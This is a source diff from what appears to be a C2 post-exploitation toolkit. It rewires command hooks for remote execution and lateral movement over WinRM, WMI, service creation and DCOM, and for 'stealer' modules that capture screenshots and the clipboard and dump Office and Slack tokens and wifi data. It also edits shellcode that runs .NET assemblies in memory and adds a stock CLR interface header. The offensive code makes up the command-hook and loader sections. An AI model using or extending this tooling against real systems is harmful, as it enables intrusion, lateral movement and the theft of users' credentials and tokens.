all: $(DIST_DIR) $(OBJS)
|
||||
|
||||
$(DIST_DIR):
|
||||
@mkdir -p $(DIST_DIR)
|
||||
|
||||
$(DIST_DIR)/%.x64.o:
|
||||
$(CC) $(CFLAGS) $(INCFLAGS) -o $@ $(shell find . -name $*.cc)
|
||||
|
||||
clean:
|
||||
rm -rf $(DIST_DIR)
|
||||
|
||||
.PHONY: all clean
|
||||
@@ -27,6 +27,8 @@ auto CaptureScreenshot( VOID ) -> VOID {
|
||||
if ( BmSect ) DeleteObject( BmSect );
|
||||
if ( MmDevCtx ) DeleteDC( MmDevCtx );
|
||||
if ( DevCtx ) ReleaseDC( nullptr, DevCtx );
|
||||
|
||||
return;
|
||||
};
|
||||
|
||||
VirtualLeft = GetSystemMetrics( SM_XVIRTUALSCREEN );
|
||||
|
||||
@@ -12,7 +12,7 @@ cmd_rmt_exec_winrm.setPreHook(function (id, cmdline, parsed_json, ...parsed_line
|
||||
let password = parsed_json["password"] || "";
|
||||
|
||||
let bof_params = ax.bof_pack("wstr,wstr,wstr,wstr", [target, command, username, password]);
|
||||
let bof_path = ax.script_dir() + "BOF/LateralMov/WinRM/jump-winrm." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/winrm_wsmanapi." + ax.arch(id) + ".o";
|
||||
let message = "Task: remote exec winrm -> " + target + " " + command;
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, message);
|
||||
});
|
||||
@@ -32,7 +32,7 @@ cmd_rmt_exec_wmi.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)
|
||||
parsed_json["target"], full_cmdline, is_current, parsed_json["domain"] || "",
|
||||
parsed_json["username"] || "", parsed_json["password"] || ""
|
||||
]);
|
||||
let bof_path = ax.script_dir() + "BOF/LateralMov/WMI/jump-wmi." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/wmi_win32_process_create." + ax.arch(id) + ".o";
|
||||
let message = "Task: remote exec wmi -> " + parsed_json["target"] + " " + full_cmdline;
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, message);
|
||||
@@ -51,7 +51,7 @@ cmd_rmt_exec_scm.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)
|
||||
bof_params = ax.bof_pack("cstr,cstr,cstr", [parsed_json["target"], parsed_json["svc_name"], parsed_json["svc_path"]]);
|
||||
}
|
||||
|
||||
let bof_path = ax.script_dir() + "BOF/LateralMov/SCM/jump-scm." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/lateralmov/scm_create_service." + ax.arch(id) + ".o";
|
||||
let message = "Task: remote exec scm -> " + parsed_json["target"] + " " + parsed_json["svc_name"] + " " + parsed_json["svc_path"];
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, message);
|
||||
});
|
||||
@@ -75,7 +75,7 @@ cmd_rmt_exec_dcom.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines
|
||||
parsed_json["domain"] || ""
|
||||
]);
|
||||
|
||||
let bof_path = ax.script_dir() + "BOF/LateralMov/DCOM/jump-dcom_mmc_execshell." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/dcom_mmc_execshell." + ax.arch(id) + ".o";
|
||||
let message = "Task: remote exec dcom -> " + (parsed_json["method"] || "MMC20.ExecuteShellCommand");
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, message);
|
||||
});
|
||||
@@ -87,7 +87,7 @@ cmd_rmt_exec.addSubCommands([cmd_rmt_exec_winrm, cmd_rmt_exec_wmi, cmd_rmt_exec_
|
||||
|
||||
let cmd_dotnet_list_v = ax.create_command("listversions", "Enumerate installed .NET Framework versions using BOF", "dotnet listversions", "Task: enumerate .NET versions");
|
||||
cmd_dotnet_list_v.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
|
||||
let bof_path = ax.script_dir() + "BOF/Dotnet/Bin/list_versions." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/list_versions." + ax.arch(id) + ".o";
|
||||
let message = "Task: enumerating installed .NET Framework versions";
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path}`, message);
|
||||
@@ -105,7 +105,7 @@ cmd_dotnet_inline.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines
|
||||
let dotnet_version = parsed_json["dotnet_version"] || "v0.0.00000";
|
||||
|
||||
let mod_params = ax.bof_pack("wstr,wstr,wstr,bytes", [args, app_domain, dotnet_version, dotnet_file]);
|
||||
let mod_path = ax.script_dir() + "postex_sc/dotnet_ldr/Bin/dotnet_assembly." + ax.arch(id) + ".bin";
|
||||
let mod_path = ax.script_dir() + "postex_sc/dotnet_ldr/bin/dotnet_assembly." + ax.arch(id) + ".bin";
|
||||
let message = `Task: executing .NET assembly in-memory`;
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute postex --file ${mod_path} --args ${mod_params}`, message);
|
||||
@@ -126,8 +126,8 @@ cmd_dotnet_fork.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)
|
||||
let app_domain = parsed_json["app_domain"] || "RndDomain";
|
||||
let dotnet_version = parsed_json["dotnet_version"] || "v0.0.00000";
|
||||
|
||||
let mod_params = ax.bof_pack("bytes,wstr,wstr,wstr", [dotnet_file, args, app_domain, dotnet_version]);
|
||||
let mod_path = ax.script_dir() + "Shellcode/Dotnet/Bin/dotnet_assembly." + ax.arch(id) + ".bin";
|
||||
let mod_params = ax.bof_pack("wstr,wstr,wstr,bytes", [args, app_domain, dotnet_version, dotnet_file]);
|
||||
let mod_path = ax.script_dir() + "postex_sc/dotnet_ldr/bin/dotnet_assembly." + ax.arch(id) + ".bin";
|
||||
let message = `Task: executing .NET assembly in-memory`;
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute postex --method ${method} --pid ${fork_pid} --file ${mod_path} --args ${mod_params}`, message);
|
||||
@@ -136,12 +136,11 @@ cmd_dotnet_fork.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)
|
||||
let cmd_dotnet = ax.create_command("dotnet", ".NET Framework operations - execute assemblies and enumerate versions");
|
||||
cmd_dotnet.addSubCommands([cmd_dotnet_list_v, cmd_dotnet_inline, cmd_dotnet_fork]);
|
||||
|
||||
|
||||
// STEALER
|
||||
|
||||
let cmd_stealer_screenshot = ax.create_command("screenshot", "Capture a screenshot of the current desktop", "stealer screenshot", "Task: capture desktop screenshot");
|
||||
cmd_stealer_screenshot.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
|
||||
let bof_path = ax.script_dir() + "BOF/Screenshot/Bin/screenshot." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/screenshot." + ax.arch(id) + ".o";
|
||||
let message = "Task: capture screenshot";
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path}`, message);
|
||||
@@ -149,7 +148,7 @@ cmd_stealer_screenshot.setPreHook(function (id, cmdline, parsed_json, ...parsed_
|
||||
|
||||
let cmd_stealer_clipdump = ax.create_command("clipdump", "Retrieve current clipboard contents", "stealer clipdump", "Task: dump clipboard data");
|
||||
cmd_stealer_clipdump.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
|
||||
let bof_path = ax.script_dir() + "BOF/Clipdump/Bin/clipdump." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/clipdump." + ax.arch(id) + ".o";
|
||||
let message = "Task: Dump clipboard from current user";
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path}`, message);
|
||||
@@ -161,7 +160,7 @@ cmd_stealer_officedump.setPreHook(function (id, cmdline, parsed_json, ...parsed_
|
||||
let office_pid = parsed_json["office_pid"];
|
||||
|
||||
let bof_params = ax.bof_pack("int", [office_pid]);
|
||||
let bof_path = ax.script_dir() + "BOF/Officedump/Bin/office-dump." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/office-dump." + ax.arch(id) + ".o";
|
||||
let message = `Task: dump office token from ${office_pid}`;
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, message);
|
||||
@@ -173,7 +172,7 @@ cmd_stealer_slackdump.setPreHook(function (id, cmdline, parsed_json, ...parsed_l
|
||||
let slack_pid = parsed_json["slack_pid"];
|
||||
|
||||
let bof_params = ax.bof_pack("int", [slack_pid]);
|
||||
let bof_path = ax.script_dir() + "BOF/Slackdump/Bin/slack-dump." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/slack-dump." + ax.arch(id) + ".o";
|
||||
let message = `Task: dump slack token from ${slack_pid}`;
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, message);
|
||||
@@ -185,7 +184,7 @@ cmd_stealer_wifi.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines)
|
||||
let slack_pid = parsed_json["slack_pid"];
|
||||
|
||||
let bof_params = ax.bof_pack("int", [slack_pid]);
|
||||
let bof_path = ax.script_dir() + "BOF/Wifidump/Bin/wifidump." + ax.arch(id) + ".o";
|
||||
let bof_path = ax.script_dir() + "bofs/dist/wifidump." + ax.arch(id) + ".o";
|
||||
let message = `Task: interact with wifi`;
|
||||
|
||||
ax.execute_alias(id, cmdline, `execute bof ${bof_path} ${bof_params}`, message);
|
||||
|
||||
@@ -16,8 +16,7 @@ auto declfn dotnet_exec(
|
||||
WCHAR* appdomain = dotnet_args->appdomain;
|
||||
WCHAR* version = dotnet_args->fmversion;
|
||||
|
||||
self->ntdll.DbgPrint("args : %ls\n", arguments);
|
||||
self->ntdll.DbgPrint("appdm: %ls\n", appdomain);
|
||||
self->ntdll.DbgPrint("dotnet init\n");
|
||||
|
||||
struct {
|
||||
GUID CLRMetaHost;
|
||||
@@ -78,7 +77,7 @@ auto declfn dotnet_exec(
|
||||
|
||||
SECURITY_ATTRIBUTES secattr = { 0 };
|
||||
|
||||
auto dotnet_cleanup = [&]() {
|
||||
auto dotnet_cleanup = [&]() -> HRESULT {
|
||||
if ( backup_pipe ) {
|
||||
self->kernel32.SetStdHandle( STD_OUTPUT_HANDLE, backup_pipe );
|
||||
}
|
||||
@@ -310,15 +309,12 @@ declfn mself::mself( void ) {
|
||||
this->ctx.size = size;
|
||||
this->ctx.heap = NtCurrentPeb()->ProcessHeap;
|
||||
|
||||
this->ntdll.handle = load_module( hashstr("ntdll.dll") );
|
||||
this->ntdll.handle = load_module( hashstr("ntdll.dll") );
|
||||
this->kernel32.handle = load_module( hashstr("kernel32.dll") );
|
||||
|
||||
rsl_imp( ntdll );
|
||||
rsl_imp( kernel32 );
|
||||
|
||||
this->ntdll.DbgPrint("shellcode: [%d] %p\n", this->ctx.size, this->ctx.start);
|
||||
this->ntdll.DbgPrint("end ptr: %p\n", endptr());
|
||||
|
||||
this->mscoree.handle = (UPTR)this->kernel32.LoadLibraryA("mscoree.dll");
|
||||
this->oleaut32.handle = (UPTR)this->kernel32.LoadLibraryA("oleaut32.dll");
|
||||
this->shell32.handle = (UPTR)this->kernel32.LoadLibraryA("shell32.dll");
|
||||
@@ -332,8 +328,6 @@ declfn mself::mself( void ) {
|
||||
parser::header( argbuff, &this->postex );
|
||||
parser::create( &psr, this->postex.args, this->postex.argc );
|
||||
|
||||
this->ntdll.DbgPrint("created\n");
|
||||
|
||||
HRESULT result = S_OK;
|
||||
|
||||
ULONG dotnet_threadid = 0;
|
||||
@@ -345,12 +339,6 @@ declfn mself::mself( void ) {
|
||||
ULONG dotnetlen = 0;
|
||||
PBYTE dotnetbuff = parser::bytes( &psr, &dotnetlen );
|
||||
|
||||
this->ntdll.DbgPrint("dotnet [%d] %p\n", dotnetlen, dotnetbuff);
|
||||
|
||||
this->ntdll.DbgPrint("appdomain %ls\n", appdomain);
|
||||
this->ntdll.DbgPrint("arguments %ls\n", arguments);
|
||||
this->ntdll.DbgPrint("fmversion %ls\n", fmversion);
|
||||
|
||||
DOTNET_ARGS dotnet_args = {};
|
||||
|
||||
dotnet_args.dotnetbuff = dotnetbuff;
|
||||
|
||||
@@ -20,10 +20,6 @@ auto declfn parser::header(
|
||||
return;
|
||||
}
|
||||
|
||||
INT32 (*mdbg)( PCHAR, ... ) = (decltype(mdbg))load_api( load_module(hashstr("ntdll.dll")), hashstr("DbgPrint") );
|
||||
|
||||
mdbg("header at: %p\n", buff);
|
||||
|
||||
PBYTE bufferptr = (PBYTE)buff;
|
||||
|
||||
postex->id = *(ULONG*)bufferptr;
|
||||
@@ -48,13 +44,6 @@ auto declfn parser::header(
|
||||
bufferptr += sizeof(ULONG);
|
||||
|
||||
postex->args = bufferptr;
|
||||
|
||||
mdbg("id %p\n", postex->id);
|
||||
mdbg("method %p\n", postex->execmethod);
|
||||
mdbg("spoof %p\n", postex->spoof);
|
||||
mdbg("bypass %p\n", postex->bypassflag);
|
||||
mdbg("pipename %p %d\n", postex->pipename, postex->pipename_len);
|
||||
mdbg("args [%d] %p\n", postex->argc, postex->args);
|
||||
}
|
||||
|
||||
auto declfn parser::create(
|
||||
|
||||
@@ -0,0 +1,495 @@
|
||||
#ifndef CLR_H
|
||||
#define CLR_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <Mscoree.hpp>
|
||||
|
||||
|
||||
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
|
||||
|
||||
|
||||
/* File created by MIDL compiler version 8.01.0622 */
|
||||
/* at Tue Jan 19 03:14:07 2038
|
||||
*/
|
||||
/* Compiler settings for metahost.idl:
|
||||
Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622
|
||||
protocol : dce , ms_ext, c_ext, robust
|
||||
error checks: allocation ref bounds_check enum stub_data
|
||||
VC __declspec() decoration level:
|
||||
__declspec(uuid()), __declspec(selectany), __declspec(novtable)
|
||||
DECLSPEC_UUID(), MIDL_INTERFACE()
|
||||
*/
|
||||
/* @@MIDL_FILE_HEADING( ) */
|
||||
|
||||
#pragma warning( disable: 4049 ) /* more than 64k source lines */
|
||||
|
||||
|
||||
/* verify that the <rpcndr.h> version is high enough to compile this file*/
|
||||
#ifndef __REQUIRED_RPCNDR_H_VERSION__
|
||||
#define __REQUIRED_RPCNDR_H_VERSION__ 475
|
||||
#endif
|
||||
|
||||
#include "rpc.h"
|
||||
#include "rpcndr.h"
|
||||
|
||||
#ifndef __RPCNDR_H_VERSION__
|
||||
#error this stub requires an updated version of <rpcndr.h>
|
||||
#endif /* __RPCNDR_H_VERSION__ */
|
||||
|
||||
#ifndef COM_NO_WINDOWS_H
|
||||
#include "windows.h"
|
||||
#include "ole2.h"
|
||||
#endif /*COM_NO_WINDOWS_H*/
|
||||
|
||||
#ifndef __metahost_h__
|
||||
#define __metahost_h__
|
||||
|
||||
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
|
||||
#pragma once
|
||||
#endif
|
||||
|
||||
/* Forward Declarations */
|
||||
|
||||
#ifndef __ICLRRuntimeInfo_FWD_DEFINED__
|
||||
#define __ICLRRuntimeInfo_FWD_DEFINED__
|
||||
typedef interface ICLRRuntimeInfo ICLRRuntimeInfo;
|
||||
|
||||
#endif /* __ICLRRuntimeInfo_FWD_DEFINED__ */
|
||||
|
||||
|
||||
#ifndef __ICLRMetaHost_FWD_DEFINED__
|
||||
#define __ICLRMetaHost_FWD_DEFINED__
|
||||
typedef interface ICLRMetaHost ICLRMetaHost;
|
||||
|
||||
#endif /* __ICLRMetaHost_FWD_DEFINED__ */
|
||||
|
||||
|
||||
/* header files for imported files */
|
||||
#include "unknwn.h"
|
||||
#include "oaidl.h"
|
||||
#include "ocidl.h"
|
||||
#include <mscoree.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C"{
|
||||
#endif
|
||||
|
||||
|
||||
/* interface __MIDL_itf_metahost_0000_0000 */
|
||||
/* [local] */
|
||||
|
||||
#ifdef WINE_NO_UNICODE_MACROS
|
||||
#undef LoadLibrary
|
||||
#endif
|
||||
|
||||
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0000_v0_0_c_ifspec;
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0000_v0_0_s_ifspec;
|
||||
|
||||
#ifndef __ICLRRuntimeInfo_INTERFACE_DEFINED__
|
||||
#define __ICLRRuntimeInfo_INTERFACE_DEFINED__
|
||||
|
||||
/* interface ICLRRuntimeInfo */
|
||||
/* [uuid][local][object] */
|
||||
|
||||
|
||||
EXTERN_C const IID IID_ICLRRuntimeInfo;
|
||||
|
||||
#if defined(__cplusplus) && !defined(CINTERFACE)
|
||||
|
||||
MIDL_INTERFACE("bd39d1d2-ba2f-486a-89b0-b4b0cb466891")
|
||||
ICLRRuntimeInfo : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE GetVersionString(
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetRuntimeDirectory(
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE IsLoaded(
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ BOOL *pbLoaded) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE LoadErrorString(
|
||||
/* [in] */ UINT iResourceID,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer,
|
||||
/* [in] */ LONG iLocaleid) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE LoadLibrary(
|
||||
/* [in] */ LPCWSTR pwzDllName,
|
||||
/* [retval][out] */ HMODULE *phndModule) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetProcAddress(
|
||||
/* [in] */ LPCSTR pszProcName,
|
||||
/* [retval][out] */ LPVOID *ppProc) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetInterface(
|
||||
/* [in] */ REFCLSID rclsid,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE IsLoadable(
|
||||
/* [retval][out] */ BOOL *pbLoadable) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetDefaultStartupFlags(
|
||||
/* [in] */ DWORD dwStartupFlags,
|
||||
/* [in] */ LPCWSTR pwzHostConfigFile) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetDefaultStartupFlags(
|
||||
/* [out] */ DWORD *pdwStartupFlags,
|
||||
/* [size_is][out] */ LPWSTR pwzHostConfigFile,
|
||||
/* [out][in] */ DWORD *pcchHostConfigFile) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE BindAsLegacyV2Runtime( void) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE IsStarted(
|
||||
/* [out] */ BOOL *pbStarted,
|
||||
/* [out] */ DWORD *pdwStartupFlags) = 0;
|
||||
|
||||
};
|
||||
|
||||
|
||||
#else /* C style interface */
|
||||
|
||||
typedef struct ICLRRuntimeInfoVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [annotation][iid_is][out] */
|
||||
_COM_Outptr_ void **ppvObject);
|
||||
|
||||
ULONG ( STDMETHODCALLTYPE *AddRef )(
|
||||
ICLRRuntimeInfo * This);
|
||||
|
||||
ULONG ( STDMETHODCALLTYPE *Release )(
|
||||
ICLRRuntimeInfo * This);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetVersionString )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetRuntimeDirectory )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *IsLoaded )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ BOOL *pbLoaded);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *LoadErrorString )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ UINT iResourceID,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer,
|
||||
/* [in] */ LONG iLocaleid);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *LoadLibrary )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ LPCWSTR pwzDllName,
|
||||
/* [retval][out] */ HMODULE *phndModule);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetProcAddress )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ LPCSTR pszProcName,
|
||||
/* [retval][out] */ LPVOID *ppProc);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetInterface )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ REFCLSID rclsid,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *IsLoadable )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [retval][out] */ BOOL *pbLoadable);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *SetDefaultStartupFlags )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ DWORD dwStartupFlags,
|
||||
/* [in] */ LPCWSTR pwzHostConfigFile);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetDefaultStartupFlags )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [out] */ DWORD *pdwStartupFlags,
|
||||
/* [size_is][out] */ LPWSTR pwzHostConfigFile,
|
||||
/* [out][in] */ DWORD *pcchHostConfigFile);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *BindAsLegacyV2Runtime )(
|
||||
ICLRRuntimeInfo * This);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *IsStarted )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [out] */ BOOL *pbStarted,
|
||||
/* [out] */ DWORD *pdwStartupFlags);
|
||||
|
||||
END_INTERFACE
|
||||
} ICLRRuntimeInfoVtbl;
|
||||
|
||||
interface ICLRRuntimeInfo
|
||||
{
|
||||
CONST_VTBL struct ICLRRuntimeInfoVtbl *lpVtbl;
|
||||
};
|
||||
|
||||
|
||||
|
||||
#ifdef COBJMACROS
|
||||
|
||||
|
||||
#define ICLRRuntimeInfo_QueryInterface(This,riid,ppvObject) \
|
||||
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
|
||||
|
||||
#define ICLRRuntimeInfo_AddRef(This) \
|
||||
( (This)->lpVtbl -> AddRef(This) )
|
||||
|
||||
#define ICLRRuntimeInfo_Release(This) \
|
||||
( (This)->lpVtbl -> Release(This) )
|
||||
|
||||
|
||||
#define ICLRRuntimeInfo_GetVersionString(This,pwzBuffer,pcchBuffer) \
|
||||
( (This)->lpVtbl -> GetVersionString(This,pwzBuffer,pcchBuffer) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetRuntimeDirectory(This,pwzBuffer,pcchBuffer) \
|
||||
( (This)->lpVtbl -> GetRuntimeDirectory(This,pwzBuffer,pcchBuffer) )
|
||||
|
||||
#define ICLRRuntimeInfo_IsLoaded(This,hndProcess,pbLoaded) \
|
||||
( (This)->lpVtbl -> IsLoaded(This,hndProcess,pbLoaded) )
|
||||
|
||||
#define ICLRRuntimeInfo_LoadErrorString(This,iResourceID,pwzBuffer,pcchBuffer,iLocaleid) \
|
||||
( (This)->lpVtbl -> LoadErrorString(This,iResourceID,pwzBuffer,pcchBuffer,iLocaleid) )
|
||||
|
||||
#define ICLRRuntimeInfo_LoadLibrary(This,pwzDllName,phndModule) \
|
||||
( (This)->lpVtbl -> LoadLibrary(This,pwzDllName,phndModule) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetProcAddress(This,pszProcName,ppProc) \
|
||||
( (This)->lpVtbl -> GetProcAddress(This,pszProcName,ppProc) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetInterface(This,rclsid,riid,ppUnk) \
|
||||
( (This)->lpVtbl -> GetInterface(This,rclsid,riid,ppUnk) )
|
||||
|
||||
#define ICLRRuntimeInfo_IsLoadable(This,pbLoadable) \
|
||||
( (This)->lpVtbl -> IsLoadable(This,pbLoadable) )
|
||||
|
||||
#define ICLRRuntimeInfo_SetDefaultStartupFlags(This,dwStartupFlags,pwzHostConfigFile) \
|
||||
( (This)->lpVtbl -> SetDefaultStartupFlags(This,dwStartupFlags,pwzHostConfigFile) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetDefaultStartupFlags(This,pdwStartupFlags,pwzHostConfigFile,pcchHostConfigFile) \
|
||||
( (This)->lpVtbl -> GetDefaultStartupFlags(This,pdwStartupFlags,pwzHostConfigFile,pcchHostConfigFile) )
|
||||
|
||||
#define ICLRRuntimeInfo_BindAsLegacyV2Runtime(This) \
|
||||
( (This)->lpVtbl -> BindAsLegacyV2Runtime(This) )
|
||||
|
||||
#define ICLRRuntimeInfo_IsStarted(This,pbStarted,pdwStartupFlags) \
|
||||
( (This)->lpVtbl -> IsStarted(This,pbStarted,pdwStartupFlags) )
|
||||
|
||||
#endif /* COBJMACROS */
|
||||
|
||||
|
||||
#endif /* C style interface */
|
||||
|
||||
|
||||
|
||||
|
||||
#endif /* __ICLRRuntimeInfo_INTERFACE_DEFINED__ */
|
||||
|
||||
|
||||
/* interface __MIDL_itf_metahost_0000_0001 */
|
||||
/* [local] */
|
||||
|
||||
typedef HRESULT ( __stdcall *CallbackThreadSetFnPtr )( void);
|
||||
|
||||
typedef HRESULT ( __stdcall *CallbackThreadUnsetFnPtr )( void);
|
||||
|
||||
typedef void ( __stdcall *RuntimeLoadedCallbackFnPtr )(
|
||||
ICLRRuntimeInfo *pRuntimeInfo,
|
||||
CallbackThreadSetFnPtr pfnCallbackThreadSet,
|
||||
CallbackThreadUnsetFnPtr pfnCallbackThreadUnset);
|
||||
|
||||
DEFINE_GUID(CLSID_CLRDebuggingLegacy, 0xDF8395B5,0xA4BA,0x450b,0xA7,0x7C,0xA9,0xA4,0x77,0x62,0xC5,0x20);
|
||||
DEFINE_GUID(CLSID_CLRMetaHost, 0x9280188d,0x0e8e,0x4867,0xb3,0x0c,0x7f,0xa8,0x38,0x84,0xe8,0xde);
|
||||
|
||||
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0001_v0_0_c_ifspec;
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0001_v0_0_s_ifspec;
|
||||
|
||||
#ifndef __ICLRMetaHost_INTERFACE_DEFINED__
|
||||
#define __ICLRMetaHost_INTERFACE_DEFINED__
|
||||
|
||||
/* interface ICLRMetaHost */
|
||||
/* [uuid][local][object] */
|
||||
|
||||
|
||||
EXTERN_C const IID IID_ICLRMetaHost;
|
||||
|
||||
#if defined(__cplusplus) && !defined(CINTERFACE)
|
||||
|
||||
MIDL_INTERFACE("d332db9e-b9b3-4125-8207-a14884f53216")
|
||||
ICLRMetaHost : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE GetRuntime(
|
||||
/* [in] */ LPCWSTR pwzVersion,
|
||||
/* [in] */ REFIID iid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppRuntime) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetVersionFromFile(
|
||||
/* [in] */ LPCWSTR pwzFilePath,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE EnumerateInstalledRuntimes(
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE EnumerateLoadedRuntimes(
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE RequestRuntimeLoadedNotification(
|
||||
/* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryLegacyV2RuntimeBinding(
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE ExitProcess(
|
||||
/* [in] */ INT32 iExitCode) = 0;
|
||||
|
||||
};
|
||||
|
||||
|
||||
#else /* C style interface */
|
||||
|
||||
typedef struct ICLRMetaHostVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [annotation][iid_is][out] */
|
||||
_COM_Outptr_ void **ppvObject);
|
||||
|
||||
